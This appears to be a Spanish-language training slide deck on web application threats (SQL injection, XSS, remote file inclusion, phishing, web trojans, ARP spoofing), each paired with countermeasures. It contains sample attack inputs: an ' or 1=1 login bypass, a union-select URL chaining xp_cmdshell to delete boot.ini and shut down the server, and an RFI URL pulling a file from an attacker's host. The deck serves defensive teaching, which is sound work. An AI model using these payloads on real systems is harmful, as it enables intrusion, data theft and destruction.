Vous êtes sur la page 1sur 94

Seguridad en Aplicaciones Web

Amenazas Web
Chema Alonso MS MVP Windows Server Security chema@informatica64.com

Agenda Amenazas Web


Aplicaciones Web Vulnerabilidades: Sql Injection Vulnerabilidades: Cross-Site Scripting

Vulnerabilidades: RFI
Vulnerabilidades: Phising Vulnerabilidades: WebTrojan Vulnerabilidades: Capa 8

Aplicaciones Web

Tipos de Aplicaciones Web

Web Site pblico.

Informacin destinada al pblico.

Intranet (ERP/CRM/Productividad)

Informacin privada de acceso interno.

Extranet (Productividad/B2B/B2C)

Informacin privada de acceso externo.

Arquitectura Multicapa
DCOM BBDD
WebServer

Browser
WebServer

WebService

BBDD

RPC

Interfaz de Usuario (GUI)

Lgica de la Aplicacin

Almacn De Datos

Amenazas

Zone-h contabiliza 2.500 intrusiones Web con xito cada da en 2004. Se atacan todas las tecnologas Los ataques se han escalado desde el sistema operativo a la aplicacin. Ataques no masivos. Motivos:

Econmicos Venganza Reto Just For Fun

Cliente - Riesgos

Navegador de Internet:

Ejecuta cdigo en contexto de usuario. Lenguajes potentes:


HTML/DHTML vbScript/JavaScript/Jscript Applets Java ActiveX Shockwave Flash Cifrado cliente: Atrise. Ofuscacin de cdigo.

Programas embebidos

Cdigos No protegidos

Cdigo y poder

El cdigo fuente es poder

Tanto para defenderse como para atacar Con los atacantes y defensores

Compartir el cdigo es compartir el poder.

Publicar el cdigo fuente sin hacer nada ms degrada la seguridad Por el contrario, publicar el cdigo fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.

Software Seguro

El software Fiable es aquel que hace lo que se supone que debe hacer. El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.

Son los sorprendentes algo mas los que producen inseguridad.

Para estar seguro, debes de ejecutar solo software perfecto :-) O, hacer algo para mitigar ese algo mas

Cliente - Riesgos
Ninguna proteccin en cliente es buena Utilizacin de tcnicas de MITM

Achilles BurpSuite Odysseus

Decompiladores
Flash Java

Lgica de Aplicacin - Riesgos

Servidor Web

Ejecuta cdigo en contextos privilegiados. Lenguajes potentes Acceden a BBDD Envan programas a clientes Transferir ficheros Ejecutar comandos sobre el sistema. Soporte para herramientas de administracin de otro software. Cdigos de Ejemplo

Almacn de Datos - Riesgos

SGBD
Lenguaje de 3 y 4 Generacin. Soporta mltiples bases de datos. Catlogo global de datos. Ejecuta programas sobre Sistema. LOPD. Transacciones econmicas. Informacin clave de negocio.

Vulnerabilidades: SQL Injection

Explotacin del Ataque

Aplicaciones con mala comprobacin de datos de entrada.

Datos de usuario.

Formularios

Text Password Textarea List multilist

Datos de llamadas a procedimientos.


Links Funciones Scripts Actions

Datos de usuario utilizados en consultas a base de datos. Mala construccin de consultas a bases de datos.

Riesgos

Permiten al atacante:
Saltar restricciones de acceso. Elevacin de privilegios. Extraccin de informacin de la Base de Datos Parada de SGBDR. Ejecucin de comandos en contexto usuario bd dentro del servidor.

Tipos de Ataques

Ejemplo 1:

Autenticacin de usuario contra base de datos.


Usuario Clave

****************

Select idusuario from tabla_usuarios Where nombre_usuario=$usuario And clave=$clave;

Tipos de Ataques

Ejemplo 1 (cont)
Usuario Clave Administrador

or 1=1

Select idusuario from tabla_usuarios Where nombre_usuario=Administrador And clave= or 1=1;

Demo

Tipos de Ataques

Ejemplo 2:

Acceso a informacin con procedimientos de listado.

http://www.miweb.com/prog.asp?parametro1=hola
http://www.miweb.com/prog.asp?parametro1=1

Tipos de Ataques

Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1= union select nombre, clave,1,1,1 from tabla_usuarios; otra instruccin; xp_cmdshell(del c:\boot.ini); shutdown - http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instruccin; --

Demo

Contramedidas

No confianza en medias de proteccin en cliente. Comprobacin de datos de entrada. Construccin segura de sentencias SQL. Fortificacin de Servidor Web.

Cdigos de error. Restriccin de verbos, longitudes, etc.. Filtrado de contenido HTTP en Firewall.

Fortificacin de SGBD.

Restriccin de privilegios de motor/usuario de acceso desde web. Aislamiento de bases de datos.

Contramedidas
Desarrollo .NET Redirigir a una pgina personalizada en caso de error <customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm"> Web.Config <error statusCode="403" redirect="NoAccess.htm"/>
<error statusCode="404" redirect="FileNotFound.htm"/> </customErrors>

Mode On, Off, RemoteOnly DefaultRedirect Error no especificado <error>Errores especficos

Contramedidas

Desarrollo .NET (Validadores)

Contramedidas
protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +" and password='"+ txtPassword.Text +"'"; cmd.CommandType = CommandType.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.HasRows){ //Cdigo para permitir el paso a la aplicacin Response.Write("<script>alert('Acceso permitido');</script>"); } else{ //Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }

Desarrollos en .NET (Cdigo inseguro)

Contramedidas

Desarrollo .NET (Cdigo seguro)

Consultas parametrizadas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login=@login and password=@pass"; cmd.Parameters.AddWithValue("login", txtLogin); cmd.Parameters.AddWithValue("pass", txtPassword.Text); cmd.CommandType = CommandType.Text; dr = cmd.ExecuteReader(); if (dr.HasRows){//Cdigo para permitir el paso a la aplicacin Response.Write("<script>alert('Acceso permitido');</script>"); } else{//Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }

Vulnerabilidades: Cross-Site Scripting (XSS)

Explotacin del Ataque


Datos almacenados en servidor desde cliente. Datos van a ser visualizados por otros cliente/usuario. Datos no filtrados. No comprobacin de que sean dainos al cliente que visualiza.

Riesgos

Ejecucin de cdigo en contexto de usuario que visualiza datos.


Navegacin dirigida Phising Spyware Robo de credenciales Ejecucin de acciones automticas Defacement

Tipos de Ataques
Mensajes en Foros. Firma de libro de visitas. Contactos a travs de web. Correo Web.

En todos ellos se envan cdigos Script dainos.

Demo

Robo de Sesiones (XSS)

Mediante esta tcnica se puede robar sesiones de una manera bastante sencilla Bastara con realizar un script que llamase a una pgina alojada en nuestro servidor pasndole la cookie Este Script se colara en el servidor de la victima aprovechando un punto vulnerable a XSS Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie

Robo de Sesiones (XSS)


Una vez que la pgina obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasndole la cookie original Por supuesto esta cookie es vlida para robar la sesin solo mientras el usuario no cierre la sesin

Demo

Contramedidas

Fortificacin de aplicacin

Comprobacin fiable de datos

Fortificacin de Clientes
Ejecucin de clientes en entorno menos privilegiado. Fortificacin de navegador cliente.

MBSA. Polticas.

Contramedidas

Desarrollo .NET

En ASP.NET el Cross Site Scripting est deshabilitado por defecto


El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos Se puede deshabilitar este tipo de verificacin mediante un atributo de la directiva @Page

Para deshabilitarlo
<%@ Page ValidateRequest=false %>

Vulnerabilidades: Remote File Inclusion (RFI)

Remote File Inclusion (RFI)

Vulnerabilidad propia de pginas PHP dinmicas que permite enlace de archivos remotos situados en otros servidores Se debe a una mala programacin o uso de la funcin include() Esta vulnerabilidad no se da en pginas programadas en un lenguaje que no permita la inclusin de ficheros ajenos al servidor

Remote File Inclusion (RFI)

La vulnerabilidad es producida por cdigo semejante a este


$page = $_GET['page']; include($page);

En pginas de este tipo se puede incluir ficheros que estn en nuestro servidor

http://victima.com/pagvuln.php?page=http://[misitio]/miFichero

Remote File Inclusion (RFI)

Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)

Remote File Inclusion (RFI)

Mediante las shell PHP se pueden ejecutar comandos en una pgina Web Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. El inconveniente es que la mayora de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecucin de comandos

Remote File Inclusion (RFI)

Sin embargo, existen funciones como show_source(archivo) que permiten la visualizacin del cdigo fuente de una pgina A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web

Demo

Vulnerabilidades: Phising

Explotacin del Ataque


Basado en tcnicas de Ingeniera Social. Se aprovecha de la confianza de los usuarios. Se aprovecha de la falta de formacin en seguridad de los usuarios. Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.

Riesgos

Suplantacin de Sitios Web para engaar al usuario. Robo de credenciales de acceso a web restringidos.

Robo de dinero Compras por Internet Bromas pesadas

Tipos de Ataques

Se falsea la direccin de DNS del servidor


Falsificacin hosts

Troyanos, Fsicamente, Shellcodes exploits

DHCP DNS Spoofing

Man in The Middle

Se engaa la navegacin.

Frames Ocultos URLs falseadas.

Se implanta en la nueva ubicacin un servidor replica.

Se implantan hasta fakes de certificados digitales

Exploits

infohacking.com

Contramedidas
Uso

de CA de confianza Formacin a usuarios Gestin de actualizaciones de seguridad Cdigos de aplicaciones seguras Control fsico de la red Comprobacin DHCP

Vulnerabilidades: WebTrojan

Explotacin de Ataque

Servidores Web no fortificados


Ejecucin de programas en almacenes de ficheros. Subida de ficheros a servidores.


Imgenes para publicaciones. Archivos de informes. Currculos, cuentos, etc...

Almacenes de ficheros accesibles en remoto

Usuario en contexto servidor Web no controlado

Riesgos

Implantacin de un troyano que puede:


Gestionar ficheros Ejecutar programas Destrozar el sistema Defacement Robo de informacin ....

Tipos de Ataques

Programacin de un troyano en PHP, ASP o JSP Utilizacin de objetos FileObject Subida mediante ASP Upload, FTP o RFI Busqueda del lugar de almacenamiento Invocacin por URL pblica del servidor Web

Demo

Contramedidas

Fortificacin de servidores Web

Menor Privilegio

Ejecucin de programas en sitios restringidos Listado de directorios ocultos Usuario de servidor en contexto controlado

Subida de archivos controlada


Ubicacin no accesible desde URL pblica Tipos de ficheros controlados


Tamao, tipo, extensin, etc.. Filtrado vrico -> Rootkits

Contramedidas

Desarrollo .NET

En ASP.NET se puede verificar la extensin del fichero que se sube al servidor

Evita la subida de ficheros potencialmente peligrosos

if (!FileUpload1.PostedFile.FileName.EndsWith(".jpg")) { //Error: El fichero no es del tipo esperado }

Vulnerabilidades: Capa 8

Explotacin de Ataque

Falta de conocimiento SD3

Diseo Configuracines Implantacin

Administradores/Desarrolladores no formados en Seguridad

Hacking tico

Falta de conocimiento del riesgo

Riesgos

Insospechados:
Bases de datos pblicas No proteccin de datos No proteccin de sistemas .....

Tipos de Ataques

Hacking Google Administradores predecibles


http://www.misitio.com/administracion http://www.misitio.com/privado http://www.misitio.com/gestion http://www.misitio.com/basedatos

Ficheros log pblicos

WS_ftp.log

Estadsticas pblicas

Webalyzer

Demo

Contramedidas

Formacin Ficheros Robots

Robots.txt

LOPD y LSSI

www.lssi.es

Writting Secure Code

Contramedidas

Preguntas ?

Troyanos
Hay un amigo en mi

Video
Que puede hacer un troyano

Troyano
Programa que se ejecuta en tu mquina y cuyo control no depende de ti. Como el .. Mil formas, mil colores Los Hackers la llaman la girlfriend

Obtencin de Privilegios

Fallo en la cadena:

Procesos:

Sistema no cerrado.

Tecnologa:
Fallo en sw de sistema operativo Fallo en sw ejecucin de cdigos.

Personas:
Ingeniera Social: Que lindo programita! Navegacin privilegiada

Objetivos

Control remoto:

Instalan suites de gestin del sistema.

Robo de informacin Modificacin del sistema:


Phishing Creacin de usuarios Planificacin de tareas ....

Instalacin del Troyano

Se suele acompaar de un caballo para tranquilizar a la vctima.

Se aaden a otro software.


EJ: Whackamole Joiners, Binders

Incluidos en documentos que ejecutan cdigo:

Word, excel, swf, .class, pdf, html, etc...

Instalacin del Troyano

Simulando ser otro programa

P2P, HTTP Servers


Paquetes Zip autodescomprimibles Programas con fallo de .dll

Instaladores de otro SW

Demo:
Un troyano de andar por casa pa phisear

Demo:
Un troyano de andar por casa pa meter un backdoor

Demo:
Un troyano de andar por casa pa abrir una shell

Demo:
Un troyano de andar por casa pa robar una shell

Deteccin de Troyanos

Anti-Mallware
Antivirus AntiSpyware

Comportamiento anmalo del sistema Configuraciones nuevas

Cambio en pginas de navegacin Puertos ....

Prevencin contra Troyanos


Defensa en Profundidad Mnimo Privilegio Posible Mnimo punto de exposicin

Gestin de updates de seguridad Antivirus/AntiSpyware Ejecucin controlada de programas Navegacin segura

Ataque: Envenenamiento ARP

RFC 1180 - TCP/IP tutorial


There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.

Tcnicas de Spoofing
Las

tcnicas spoofing tienen como objetivo suplantar validadores estticos


Un validador esttico es un medio de autenticacin que permanece invariable antes, durante y despus de la concesin.

Niveles Afectados
SERVICIO Nombres de dominio Direcciones de correo electrnico Nombres de recursos compartidos Direccin IP

RED

ENLACE

Direccin MAC

Tipos de tcnicas de Spoofing

Spoofing ARP Envenenamiento de conexiones. Man in the Middle. Spoofing IP Rip Spoofing. Hijacking. Spoofing SMTP Spoofing DNS WebSpoofing.

Tcnicas de Sniffing

Capturan trfico de red.

Necesitan que la seal fsica llegue al NIC.


En redes de difusin mediante concentradores todas las seales llegan a todos los participantes de la comunicacin. En redes conmutadas la comunicacin se difunde en funcin de direcciones.

Switches utilizan direccin MAC.

Nivel de Enlace: Spoofing ARP


Suplantar identidades fsicas.

Saltar protecciones MAC. Suplantar entidades en clientes DHCP. Suplantar routers de comunicacin.
Solo tiene sentido en comunicaciones locales.

Direccin Fsica
Tiene como objetivo definir un identificador nico para cada dispositivo de red. Cuando una mquina quiere comunicarse con otra necesita conocer su direccin fsica. Protocolo ARP No se utilizan servidores que almacenen registros del tipo: Direccin MAC <-> Direccin IP. Cada equipo cuenta con una cach local donde almacena la informacin que conoce.

Ataque ARP Man In The Middle

1.1.1.1

1.1.1.2 esta en 00:11:22:33:44:55:66 1.1.1.2

Proteccin contra Envenenamiento


Medidas preventivas. Control fsico de la red. Bloqueo de puntos de acceso. Segmentacin de red. Gestin de actualizaciones de seguridad. Proteccin contra Exploits. Proteccin contra troyanos.

Proteccin contra Envenenamiento

Medidas preventivas.

Cifrado de comunicaciones. IPSec.

Cifrado a nivel de Aplicacin: S/MIME. SSL.

Certificado de comunicaciones.

Proteccin contra Envenenamiento


Medidas reactivas. Utilizacin de detectores de Sniffers.

Utilizan test de funcionamiento anmalo. Test ICMP. Test DNS. Test ARP.

Sistemas de Deteccin de Intrusos

Frase vs. Passwords

Web MVPs

TechNews

Suscripcin gratuita enviando un mail:

mailto:technews@informatica64.com

Contacto

Chema Alonso

chema@informatica64.com

Informatica64
http://www.informatica64.com http://www.informatica64.com/hol.htm http://elladodelmal.blogspot.com i64@informatica64.com +34 91 226 82 08

Vous aimerez peut-être aussi